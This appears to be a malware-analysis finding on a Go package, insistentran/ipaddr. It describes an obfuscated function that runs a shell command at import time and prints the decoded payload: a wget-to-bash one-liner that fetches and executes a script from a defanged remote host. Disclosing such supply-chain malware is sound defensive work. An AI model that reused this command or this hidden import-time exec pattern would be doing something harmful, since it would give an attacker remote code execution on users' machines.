Note: The file defines a function xUIpYv that assembles a shell command by indexing into a scrambled string array, then calls exec.Command("/bin/sh", "-c", cmd).Start() at import time. The decoded command is:

wget -O - https://liquitydevve[.]online/storage/de373d0df/a31546bf | /bin/bash &

This hidden payload downloads and executes a remote script in the background without user consent, allowing arbitrary code execution on any system that imports this package.

From: tests/go.mod → golang/github.com/insistentran/ipaddr@v0.0.0-20250227113218-37078b509e73

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